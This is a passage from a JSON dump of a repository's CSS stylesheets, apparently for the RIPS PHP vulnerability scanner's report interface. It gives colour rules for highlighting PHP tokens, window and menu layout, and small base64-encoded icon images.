bold;}\n\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-double-arrow,\n.phps-t-boolean-or,\n.phps-t-boolean-and\n\t{color: #8000FF;}\n\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-exit,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-if,\n.phps-t-switch,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-as,\n.phps-t-or,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-use,\n.phps-t-var,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c,\n.phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #0000FF; font-weight:bold;}\n\n.phps-t-open-tag,\n.phps-t-close-tag\n\t{color: #FF0000;  font-weight:bold;}\n\n.phps-t-const\n\t{color: #000000;}\n\n.phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked\n\t{color: #000080;}\n\n.phps-t-variable-marked\n\t{background-color:#F5A69A;}\n\n.phps-tainted-var\n\t{color: #0606Ed;}\n\n.phps-t-lnumber\n\t{color: #FF8000}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc\n\t{color: #4A4A4A;}\n\n.phps-t-inline-html\n\t{color: #000000; font-weight:bold;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #63C763; font-weight:normal;}\n"
  },
  {
    "path": "css/phps.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\nbody, html {\n\tcolor: #111111;\n}\n\n.textcolor {\n\tcolor: #ffffff;\n}\n\n.darkcolor {\n\tcolor: black;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #C4CDD1;\n}\n\n.vulnblock {\n\tbackground-color:#ABBBC3;\n\tcolor:black;\n\tfont-weight:bold;\n}\n\n.windowcontent , #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #C4CDD1;\n\topacity:0.92;\n}\n\n.markline {\n\tbackground-color: #F98888;\n}\n\n.code, .vulntitle  {\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n\tfont-size:9pt;\n\tcolor: #007700;\n}\n\n.requires,\n.linenr\n\t{color: black; font-weight:bold;}\n\n.link\n\t{font-weight:bold; color: #0000BB;}\n\n.phps-code,\n.phps-t-dollar-open-curly-braces,\n.phps-t-curly-open,\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-if,\n.phps-t-switch,\n.phps-t-while,\n.phps-t-do,\n.phps-t-exit,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-empty,\n.phps-t-unset,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-use,\n.phps-t-var,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c,\n.phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #007700;}\n\n.phps-t-const,\n.phps-t-variable,\n.phps-t-string-varname,\n.phps-t-string,\n.phps-t-eval,\n.phps-t-lnumber,\n.funclistline,\n.phps-t-variable-marked,\n.phps-tainted-var\n\t{color: #0000BB;}\n\n.phps-t-variable-marked\n\t{background-color:#F5A69A;}\n\n.phps-tainted-var\n\t{font-weight:bold;}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #DD0000;}\n\n.phps-t-inline-html\n\t{color: #000000;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #FF8000}\n"
  },
  {
    "path": "css/print.css",
    "content": "html, body, div, span, applet, object, iframe,\nh1, h2, h3, h4, h5, h6, p, blockquote, pre,\na, abbr, acronym, address, big, cite, code,\ndel, dfn, em, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var,\nb, u, i, center,\ndl, dt, dd, ol, ul, li,\nfieldset, form, label, legend,\ntable, caption, tbody, tfoot, thead, tr, th, td,\narticle, aside, canvas, details, embed,\nfigure, figcaption, footer, header, hgroup,\nmenu, nav, output, ruby, section, summary,\ntime, mark, audio, video {\n\tbackground-color: white;\n\tcolor: black;\n}\n\n#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\ndiv.menu {\n\tbackground-color: white;\n\tborder: 0px;\n}\n\ndiv.stats {\n\tbackground-color: white;\n\tcolor: black;\n\tposition: relative;\n\tmargin-bottom: 15px;\n}\ndiv#window1,\ndiv#window2,\ndiv#window3,\ndiv#window4,\ndiv#window5 {\n\tdisplay: none;\n}\ndiv.vulnblock {\n\tbackground-color: white !important;\n\tcolor: white;\n}\ndiv.codebox {\n\tmargin-bottom: 1px;\n\tbackground-color: white;\n}\ndiv.vulnblock span {\n\tcolor: black;\n}\ndiv.vulnblock span.phps-t-constant-encapsed-string,\ndiv.vulnblock span.phps-t-encapsed-and-whitespace,\ndiv.vulnblock span.phps-t-comment,\ndiv.vulnblock span.phps-t-ml-comment,\ndiv.vulnblock span.phps-t-doc-comment {\n\tcolor: #999999;\n}\ndiv.buttonbox {\n\tdisplay: none;\n}\ndiv.help,\ndiv.fileico,\ndiv.minusico,\ndiv.exploit,\ndiv.dataleak {\n\tdisplay: none;\n}\ninput.button[value=x] {\n\tdisplay: none;\n}\n"
  },
  {
    "path": "css/rips.css",
    "content": "body, html {\n\tfont-family: helvetica;\n\tbackground-color: #DFDFDF;\n\tpadding: 0;\n\tmargin: 0;\n\tcolor: #DFDFDF;\n}\n\n.menu {\n\tbackground-color: #223344;\n\tpadding: 8px;\n\tpadding-bottom: 0px;\n\tborder: 1px solid black;\n}\n\n.logo {\n\tmargin-top:5px;\n\tbackground-image: url(rips.png);\n\tbackground-repeat: no-repeat;\n\theight: 52px;\n\twidth: 150px;\n\ttext-align: right;\n\tfont-size: 12px;\n\tdisplay:table-cell;\n\tvertical-align:bottom;\n}\n\na#logo {\n\tcolor:#FFCC44;\n\ttext-decoration: none;\n}\n\n.scanning, .stats {\n\tmargin-left:35%;\n\tborder:3px solid black;\n\tposition:absolute;\n\topacity: .94;\n\tbackground-color: #223344;\n\tcolor:white;\n}\n\n.stats {\n\twidth:290px;\n\tfont-size: 12px;\n\tpadding:5px;\n}\n\n.scanning {\n\theight:200px;\n\twidth:300px;\n\tmargin-top:100px;\n\tdisplay:none;\n\ttext-align:center;\n\tfont-size: 22px;\n\tfont-weight:bold;\n\tbackground-image: url(scanning.gif);\n\tbackground-repeat: no-repeat;\n\tbackground-position: 105px 60px;\n}\n\n.scanned {\n\tposition: absolute;\n\tbackground-color: #FFCC44;\n\theight:5px;\n\twidth:75px;\n\tmargin-left:113px;\n\tmargin-top:70px;\n\topacity: .50;\n}\n\n.scanfile, .scantimeleft {\n\tfont-size: 10px;\n\tfont-weight:normal;\n\ttext-align:center;\n\tposition:absolute;\n}\n\n.scanprogress {\n\tposition:absolute;\n\tmargin-top:80px;\n\twidth:100%;\n\ttext-align:center;\n\tfont-size: 12px;\n\tcolor:black;\n}\n\n.scantimeleft {\n\tbottom:5px;\n\twidth:100%;\n}\n\n.scanfile {\n\tmargin-right:5px;\n\tmargin-left:5px;\n}\n\n.diagram {\n\theight:70px;\n\twidth:80px;\n}\n\n.warning {\n\tfont-size:12px;\n}\n\n.chart {\n\tbackground-color: #FFCC44;\n\theight:10px;\n\tfloat:left;\n\tmargin-right:5px;\n}\n\n.menushade {\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAJCAYAAAGEQXZyAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAO0lEQVR42mJgYGBYCxBAQMzAAhBAIMIJIIBARA1AAIEIaYAAAhHTAAKIGUgIAQQQiPgHEEAg4jtAgAEARKoEMfjevaIAAAAASUVORK5CYII=');\n\theight: 9px;\n}\n\n.menushade {\n\tmargin-top:0px;\n\tmargin-bottom: 30px;\n\twidth: 100%;\n\tmargin-left: auto;\n\tmargin-right: auto;\n}\n\n.fileico {\n\theight: 13px;\n\twidth: 14px;\n\tbackground-position: 2px 0px;\n\tbackground-repeat: no-repeat;\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAANCAYAAACQN/8FAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA00lEQVR42mJkYGD4z4AF/P//nxGZDxBATFBBFAwC8vLy/ydMmAA3BCCAoOpQAUzs8ePH//v7+8FCAAHECBVEsZaRkZHh0aNHDL9+/WK4ceMGw+3btxkAAginiTDMxsYGpgECCG7ilStXGFhYWMAmcnJywjzEoKCgALYBIICwWo0OQAoBAogFmYMjmMA0QADBFYIczczMjKLo379/cDZAAMGt5uXlZWBnZ4ebDBL7/fs3w8ePH8FiAAEEN/HkyZNwz2AzESCAiPYMQAAx4oprdAAQYABoKoXcYicJaAAAAABJRU5ErkJggg==');\n}\n\n.minusico {\n\theight: 13px;\n\twidth: 14px;\n\tbackground-position: 2px 1px;\n\tbackground-repeat: no-repeat;\n\tbackground-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA0klEQVR42mJMS0v7z0AEYGRkZAAIIBYQMXXqVAZmZmYMBX///gXTILn09HQGgAACK8amEAQ+fPgApgUEBMA0QAAxMZAAAAKI5ffv3zglhYWFUfgAAcTCysrK8OfPH4a8vDywAEgzBwcHw/fv3+HOmzFjBpgGCCCWf//+MbCwsDBMmzYNw+T////DQwIEAAII7OZv376BTQdh9OCCKQQBgAAiyYMAAcTCxMTEwMbGxvDr1y+IANBJuMIbIIDAbs7NzWUA0XDrgAaAPAryPLLbAQIMAKuVPnnja7mZAAAAAElFTkSuQmCC');\n}\n\n.plusico {\n\theight: 11px;\n\twidth: 14px;\n\tbackground-position: 2px 1px;\n\tbackground-repeat: no-repeat;\n\tbackground-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA3ElEQVR42mJMS0v7z0AEYGRkZAAIIBYQMXXqVAZmZmYMBX///gXTILn09HQGgABiAilGV5iamgqmP3z4AMYwTQABxMRAAgAIIJbfv3/jlBQWFkbhAwQQCysrK8OfP38Y8vLywAIgzRwcHAwpKSlw582YMQNMAwQQy79//xhYWFgYpk2bhuLmOXPmMPz//x8eEiAAEEBgN3/79g1sOgijBxdMIQgABBBJHgQIIBYmJiYGNjY2hl+/fkEEgE6aPXs21vAGCCCwm3NzcxlANNw6oAEgj4I8DwIwtwMEGACwW0hYY16C/gAAAABJRU5ErkJggg==');\n}\n\n.exploit {\n\theight: 13px;\n\twidth: 13px;\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAACXBIWXMAAA9hAAAPYQGoP6dpAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACfElEQVR42mL8//8/AzJ4kl/8/9PRYwyM7BwMf//8YWBiYWEQjgxhEM/JZoSpAQggFmQN1wzM/v/5/p1BrCCHgdPQkOHXhw8Mr9ZtZLjb2sXw/cXr/wotDWCNAAHEBNNwxdH1P7eVBYP2qSMMjP/+M7zq7Wf4sHY9g0RCPIPmsYMMD1evZrjX3Q92FkAAMYCcB8KXLOxAtvx/mJX7/wwD+/8L+ib/T4jJ/d/PyPb/wZr1/69PnPJ/j6zCf5BagAACa7jiH/L/fmPz/1cr1/w/wcDy/0Fb5/83p8/9f7J9x/9jppb/94lJ/b+7fef/HTKK/x/OX/QGIIDAzvty8xoDi4wMw8uFixlYjYwZOE2MGO5FRDK83rqDQbqrg+HH63cMP56/ZOAyNWR4ffggA0AAgTWxcnMz/AF68cf79wws0jIMn67fYnhz9ybDhzNnGRhExRgYeLgY/nz7ysDIxQ1U84kBIIDAmhhFpRgYmVgY2LQ0Gd6fOMrAoq7GIDdlJoNkVSXDu9VrGf58/sTwj5+P4dudewyCmuoMAAEE1sSuJM/w8dIlBtHMDIafHz4xPO/sYWCXl2P4ce0qw6OWJgYOC1OgInaGr9euMWi1NosABBAjLHIPaOj+11i/muHDsRMMD8rKGf7+/AYMJCYGNnV1BulJkxhezZ8LjMirDI7HjzECBBA8cqVjohjOmVkxKE+bzKC6eyfDzxcvGf6xsTAwcfIyvJgzi+HXsWMMHjevgSMXIIAYkZPR+bS0/w9nz2UQiYhiYJKVYfj15i3D+x3bGf69fccQ/PMrPBkBBBAjetoDgXOp6Z+/PXzM8PfzZwZ+CzMGg/5eXmR5gAADAJdYBF9ow6CbAAAAAElFTkSuQmCC');\n}\n\n.help {\n\theight: 14px;\n\twidth: 14px;\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAC8klEQVR42mL8//8/AwwcvfNL+d///1H//v2PA9IS//79Y/j77/8LIL0ISC/zNuC/C1MLEECMMI0Hbn4PBmqYLC/MIsn4/y/D379/weJMTEwMv4DMa0++Pf/7719umKXYWpA4QACBNe65+jUYKLhQXYKV++OX7wzXH39lePT2K8g2BjF+NgZtaT4GIQEOhmM3Pnz9+/dffLKL3FqAAGLceuGjEtAph7Wk2aVevv/GsPvKawZJflYGT0Mphv9AeObOe4az998x2KuLMEiLcDPsufjqGVCzLUAAMf34+StGUZRV6sPnnww7Lrxk+PblJ0O0rTyDEA8bgzAPO4O7gTgDG+N/hoPXXjK8A6oxVOSX+vr9ZwxAAAA5AMb/Avb4+10FAv8A0d/wAPf4+gD7/v0A7vP6AL/T6ADK2+sAAQAAAD4rFADw9PUAzt/sABAMBAD19/pdAgio8Zc0I9BJD15/YvgDDJBff34xdKy9wMDE+I9BX0GQ4dO33wyPXn1h+PvnH8OD5+8ZWICB9eX7T2mAAGL59v0nAyhg/wDxrz9ANjBAQHwbLQmG90Bn96w+z/Dj1x8GUNj/ARr2H+hsoI0MAAHEAiSe/vr7V0UaGGqfPn9j+PfvDwMo/kpmHQVHx9/ffxiApoEDSlJCmOH7z98MQMueAgQQE9Daxc9ef2UwUBRkYGWEKPz/9x9DW6IFQ0uCOcMfoEF/gBpBcWuqLs5w6+F7BqD3FgMEEBPQxiUbj91/xsLEwOBpIsPAysLI8OfPb4YV+28wrDpwE5II/v1mcDdXZWBlZmJYsOPqM2CALgEIIHACSOjaF/wHmAAy/XS4fwNtO3blCcOjF+8Z/gEDRFqcn8FKW5qBhYWZoWnBia/AhBJ/aGLYWoAAgie5oPptoNQzOdReRVJdXoiBnY0ZLP79xx+GK3dfM8zbfuU5MEnmHp8aCU5yAAHEiJzIXUvXKQOTGTCR/4sDpg5gIv8PTHb/XgAT/CIge9mZmTHwRA4QYABQyY5ecbnnNAAAAABJRU5ErkJggg==');\n}\n\n.hotpatch {\n\theight: 15px;\n\twidth: 15px;\n\tmargin-top: -1px;\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAYAAAFM0aXcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACw0lEQVR42mL8//8/AwgABBDTxxcv97/vZvsPEECMMBGAAGL536Py/8P/RwwAAcTwZdWcQ3+iVf+/9mP8/86S5T9AAIGVfJ4j+/+vkDbDw9VnvwAEEFwPDAAEEMv/XJP/bx+dA3N4ijYfAAggFgb5DwzMcixgAQ57b0eAAGJheCjAwGgmwMDALQIWBAggBpAZIPzj2ukGoG0Nl5xMP/ytd/9wVI774c8fPxMAAgAhAN7/BPjBtb/6679A/cqOAP3zAAAVgIsA5CUyACouAA/37+9iAogBqGrOh+cv/n+aLfP//eGk/w+f7wOzQRhkMkAAwa0ACnwAKn4D48MwQABh+AMZAAQQC4zxfXJxw4/lkwL4lBQVrj0XYODQMZ4CEECM/3KM//97/4nh/ec7cB3fJ2xk4IkOYgAIIKbfPcfggl+11Bi+zdzL8J+Th+Gv6F8GgAAC6wSFzodX9xg+F+1l4F3sDlcMEEBgnR+VVICeZWFg/P6FgdEyFoxZBMUZAAIIrPOjGQMD88+XDH/ZxSFBKSbNcC165V2AAAL751ZexlNg8H1A9ydAAOH1JyEAEEAsQP/v4Lh10P2/sAjDFx0dBp4rV+CS/+/cY/h07z6c/3bpAQbhaAcwm61wxlmAAGJh1HNi/3dyMwMDMKz+ftsF9JQRAyyhgIEogsnO8A4cRKAgk9DR/wwQQCyMYuIMTIJ8DJ/tHRi4fdsY7j47DUlhT04w/AKmBN4+Z6ghLAw80/0ZGNQZGPj+3mJgVNJ7DxBALECCDRRD3Bs2MTA92MAgLvCT4c/7l2D1v1R3MrCoSYP5oOD9b+gHFmd8/4CBjZ0tCCCAwAEGStOg4P6hEMnwRcaCQeTpPAbmG7sgQY8MFPUZGO5fBDMFYs8wAgQQWPNlZ7NTQL6pluQHhm8O38GSsDh7PPUdg1JG+hvu0GRR9NAGCDAAI6Y+qpsRI6MAAAAASUVORK5CYII=');\n}\n\n.dataleak {\n\theight: 15px;\n\twidth: 13px;\n\tmargin-top: -1px;\n\tmargin-left: 3px;\n\tbackground-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAARCAYAAADpPU2iAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACBklEQVR42mL4//8/Azq+fevW/4WLFvzHJgcQQAzYBJubm/6zsrJg1QAQQEwMWMCOa7cZftsEYJNiAAggrDYwzDzwn+He//+7163GsAUggDBsuHRk/38mG3sGFRYGhmUHj2JYABBAKLo3b9r4n6F73f+ar///LwUJrLvz3zk0/P/fn9/hNgEEEMKG37/+zz97jYHBzJVBnYuB4R9ITEOZYa+EEcOUvh64MoAAgpsuZu/+n/Hw+/+5QNOXAwUqvwAFzwHxdSBec/X/p7evwbYABBATTNcrh1gGA3UBBkug6cc+MTDMuA8UZwTiH0Csr8XQ0dEOVgoQQGANB3ZsZeAMjWTw5mVg+AUMpGn3GBje/0Ly6DcGhslXHjPcvHjuP0AAMf7/9++/Z2AQg8DC9Qxa7AwMddehJsMAiP0TiC8eYki5sIoBIICYGBgZGcVFRRi+An157B0D1LdIAOSGF0D86R0DLwc7A0AAMYI88vDmtf8Kn9UYGDiBgf8bOcyB+DIQ/2VgEF3iyXBjyWwGgAAC+0FeXYuRaXotA8PnjwwMbEhOeQC1QfgTQ0eYL4OQpAwjQAChRNzeHdv+Szj5/GfYdPc/w44n/xnKJv238fX7f+7oIXjEAQQQ2EnI4Om92/8zqxoYfv/7x+BspMtQUFDAwMLBBQ8GgADC0ICITaDvmZgZ0aUAAgwA5489hLuadr8AAAAASUVORK5CYII=');\n}\n\n.fileico, .minusico, .plusico, .exploit, .help, .hotpatch, .dataleak {\n\tmargin-left: 2px;\n\tcursor:pointer;\n\tfloat:left;\n}\n\n\n.vulntitle {\n\tmargin-left: 20px;\n}\n\n#window1, #window2, #window3, #window4, #window5 {\n\tdisplay:none;\n\tposition:absolute;\n\ttop:200px;\n\tright:200px;\n}\n\n#funccode {\n\tdisplay:none;\n\tposition:absolute;\n}\n\n#funccodecontent {\n\tborder: 1px solid #888;\n\topacity: .96;\n\tmax-height: 250px;\n\toverflow-y: scroll;\n}\n\n#funccodetitle {\n\tborder: 1px solid #888;\n\tpadding: 4px;\n}\n\n.windowtitlebar, .funclisttitlebar {\n\tbackground: #364C63;\n\theight:30px;\n\tborder: 2px solid black;\n\tcolor: #FFFFFF;\n\tz-index:3;\n\tcursor: move;\n\twhite-space:nowrap;\n\twidth:100%;\n}\n\n.windowtitle, .funclisttitle {\n\tmargin-left:20px;\n\theight:30px;\n\tcolor: #DFDFDF;\n\tfont-weight:bold;\n\tfont-size:14px;\n\tpadding-top:7px;\n\tmargin-bottom:-7px;\n\toverflow:hidden;\n\twhite-space:nowrap;\n}\n\n#scrolldiv {\n\tborder-left: 2px solid black;\n\twidth:84px;\n\theight:100%;\n\tposition:relative;\n\tfloat:left;\n\tbackground-color: black;\n}\n\n#scrollwindow {\n\theight:50px;\n\twidth:100%;\n\tposition:absolute;\n}\n\n#scrollcode {\n\twidth:85px;\n\theight:100%;\n\toverflow:hidden;\n}\n\n#scrollcode table {\n\tfont-size:.15em;\n}\n#scrollcode td {\n\tpadding: 0px;\n\tmargin: 0px;\n\tline-height:0.02;\n\theight:0.02em;\n}\n\n.closebutton, .maxbutton {\n\theight:15px;\n\twidth:15px;\n\ttop:10px;\n\tposition:absolute;\n}\n\n.maxbutton {\n\tright:40px;\n}\n\n.closebutton {\n\tright:20px;\n}\n\n.windowcontent, .funclistcontent {\n\toverflow:auto;\n\topacity: .98;\n\tborder-left: 2px solid black;\n\tborder-right: 2px solid black;\n\theight: 100%;\n\twidth:100%;\n}\n\n#windowcontent1 {\n\tfloat:left;\n\tmargin-left:84px;\n\tposition:absolute;\n\twidth:516px;\n}\n\n.return {\n\tdisplay:none;\n\tposition:absolute;\n\tmargin-top:-2px;\n\tmargin-left:20px;\n\tfont-size:16px;\n\tfont-family: monospace;\n\tfont-weight:bold;\n\tcursor:pointer;\n}\n\n.windowfooter , .funclistfooter {\n\tcursor:se-resize;\n\tbackground: #364C63;\n\theight:15px;\n\tborder: 2px solid black;\n\twidth:100%;\n}\n\n.funclistline {\n\tcursor: pointer;\n}\n\n.exploittitlebox {\n\tbackground-color: black;\n\tpadding-left: 10px;\n\tmargin-top: 10px;\n\tfont-weight: bold;\n\twidth: 390px;\n}\n\n.exploittitle {\n\tcolor:white;\n\tfont-weight: bold;\n\twhite-space: nowrap;\n\twidth: 350px;\n\tfloat: left;\n}\n\n.exploitbox {\n\twidth: 400px;\n}\n\n.exploitcontentbox {\n\tborder: 2px solid black;\n\tbackground-color: #333333;\n\tpadding: 3px;\n}\n\n.helptitle, .helpbox {\n\tborder:1px solid black;\n\tpadding-left:10px;\n\tpadding-right:10px\n}\n\n.helptitle {\n\tbackground-color: #364C63;\n}\n\n.helpbox {\n\tbackground-color: #333333;\n}\n\n.linenrcolumn {\n\ttext-align:right;\n}\n\n.filebox {\n\tmargin-left: 20px;\n\tmargin-right: 20px;\n\tcolor: black;\n}\n\ntable {\n\tfont-size: 14;\n}\n\n\n.menutable {\n\tcolor: #C0C0C0;\n}\n\ninput[type=\"text\"],select {\n\tcolor: #000 !important;\n\tbackground: #989FA2 !important;\n\tfont-size:12px;\n\tpadding:2px;\n\tborder:1px solid #000;\n}\n\n.closebutton,.maxbutton,\n.Button {\n\tbackground-color:#454545;\n\tcolor:#fff;\n\tborder:1px solid #000;\n}\n\n.Defined {\n\ttext-decoration: none;\n\tcolor:#0000FF;\n}\n\nlabel {\n\tpadding:10px;\n\tmargin:10px;\n}\n\nimg {\n\tborder:0;\n}\n\nul {\n\tlist-style-type:none;\n}\n\nhr {\n\tborder:1px solid black;\n}\n\na {\n\tcolor: #DFDFDF;\n}\n\n.filename\n{\n\ttext-decoration:underline;\n\tfont-weight:bold;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #DFDFDF;\n}\n\n.vulnblocktitle {\n\tmargin-left: 20px;\n\tfont-size: 10pt;\n\tpadding:5px;\n\twidth:200px;\n}\n\n.vulnblock {\n\tborder:1px solid black;\n}\n\n#filecanvas , #functioncanvas{\n\tdisplay:none;\n}\n\n.jumplink {\n\tposition:absolute;\n\tmargin-top:-40px;\n}\n"
  },
  {
    "path": "css/term.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.vulnblock {\n\tbackground-color:#223344;\n\tcolor:#FFF;\n\tfont-weight:bold;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #101820;\n}\n\n.windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #101820;\n}\n\n.markline {\n\tbackground-color: #0A212C;\n}\n\n.requires\n\t{color: #D2A8A1; font-weight:bold;}\n\n.linenr\n\t{color: #444;}\n\n.link\n\t{color: #DC578C; font-weight:bold;}\n\n.code, .vulntitle {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: #B5C9C9; }\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-exit,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc\n\t{color: 